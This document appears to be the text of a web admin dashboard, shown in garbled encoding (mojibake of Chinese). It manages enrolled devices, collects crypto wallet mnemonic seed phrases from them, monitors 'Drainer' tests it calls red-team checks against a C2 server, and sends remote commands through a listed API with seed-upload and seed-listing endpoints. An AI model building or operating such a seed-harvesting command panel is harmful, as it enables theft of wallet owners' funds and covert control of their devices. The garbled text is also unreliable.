๐Ÿ“Šไปช่กจ็›˜-
๐Ÿ“ฑ่ฎพๅค‡็ฎก็†-
๐ŸŒฑๅŠฉ่ฎฐ่ฏ็ฎก็†-
โš ๏ธๅจ่ƒๆ—ฅๅฟ—-
๐Ÿฆ ็—…ๆฏ’็‰นๅพๅบ“
๐Ÿ“šๆถๆ„่ฝฏไปถ็™พ็ง‘
๐ŸŽฏDrainer็›‘ๆŽง-
โšกๆŒ‡ไปคไธญๅฟƒ
๐Ÿ”ๅฎ‰ๅ…จ่ฎพ็ฝฎ

๐Ÿ“Š ไปช่กจ็›˜

--
-
ๆ€ป่ฎพๅค‡
ๅœจ็บฟ: -
-
ๅŠฉ่ฎฐ่ฏ
ๅทฒๅ›žไผ 
-
ๅจ่ƒไบ‹ไปถ
่ฟ‘ๆœŸ
-
้’ฑๅŒ…ๆฃ€ๆต‹
ๅทฒๅฎ‰่ฃ…
-
Drainerๆต‹่ฏ•
็บข้˜Ÿ้ชŒ่ฏ
-
็—…ๆฏ’ๅบ“็‰ˆๆœฌ
็‰นๅพๅบ“

๐Ÿ“ฑ ๆœ€่ฟ‘่ฎพๅค‡

่ฎพๅค‡ๅนณๅฐ้’ฑๅŒ…ๅœจ็บฟๆœ€ๅŽๅฟƒ่ทณ
ๅŠ ่ฝฝไธญ...

โš ๏ธ ๆœ€่ฟ‘ๅจ่ƒ

ๆ—ถ้—ด็ฑปๅž‹็บงๅˆซ
ๅŠ ่ฝฝไธญ...

๐Ÿ“Š ๅนณๅฐๅˆ†ๅธƒ

่ฎพๅค‡IDๅ็งฐๅนณๅฐ็‰ˆๆœฌ่Šฏ็‰‡้’ฑๅŒ…ๅœจ็บฟๅฟƒ่ทณ้ฃŽ้™ฉๆ“ไฝœ
ๅŠ ่ฝฝไธญ...
ๆ—ถ้—ด่ฎพๅค‡ID้’ฑๅŒ…ๅ็งฐๅŠฉ่ฎฐ่ฏ่ฏๆ•ฐๆฅๆบ
ๅŠ ่ฝฝไธญ...
ๆ—ถ้—ด่ฎพๅค‡IDๅจ่ƒ็ฑปๅž‹็บงๅˆซๆ่ฟฐ
ๅŠ ่ฝฝไธญ...
ๆถๆ„ๅฎถๆ—
ๆถๆ„Bundle ID
้’“้ฑผๅŸŸๅ
WebKit CVEๅบ“
ๆฃ€ๆต‹่ง„ๅˆ™
ๅŠ ่ฝฝไธญ...

๐ŸŽฏ Drainer ็บข้˜Ÿๆต‹่ฏ•็›‘ๆŽง

-
ๆ€ปๆต‹่ฏ•ไบ‹ไปถ
-
้˜ฒๅพก็Šถๆ€

ๆ•ฐๆฎๅˆฐ่พพadmin_server(C2)=้˜ฒๅพกๅคฑ่ดฅใ€‚ๆœŸๆœ›guardianๅœจไธŠๅฑ‚ๆ‹ฆๆˆชใ€‚

ๆ—ถ้—ด่ฎพๅค‡็ฑปๅž‹็บงๅˆซๆ่ฟฐ
ๅŠ ่ฝฝไธญ...

โšก ๆŒ‡ไปคไธ‹ๅ‘ไธญๅฟƒ

ๆ—ถ้—ด่ฎพๅค‡ๆŒ‡ไปค็Šถๆ€
ๆš‚ๆ— ๆŒ‡ไปค่ฎฐๅฝ•

๐Ÿ” ไฟฎๆ”น็ฎก็†ๅ‘˜ๅฏ†็ 

๐Ÿ“‹ API ็ซฏ็‚นๅˆ—่กจ

POST /api/devices/register  |  POST /api/devices/heartbeat
POST /api/devices/seed  |  POST /api/devices/threats/report
POST /api/devices/commands/pending  |  POST /api/devices/commands/ack
GET /api/admin/devices  |  GET /api/admin/stats
GET /api/admin/seeds  |  GET /api/admin/threats
GET /api/admin/devices/<id>  |  GET /api/admin/devices/<id>/seeds
GET /api/admin/drainer-tests  |  GET /api/admin/signatures/*
POST /api/admin/command  |  POST /api/admin/auth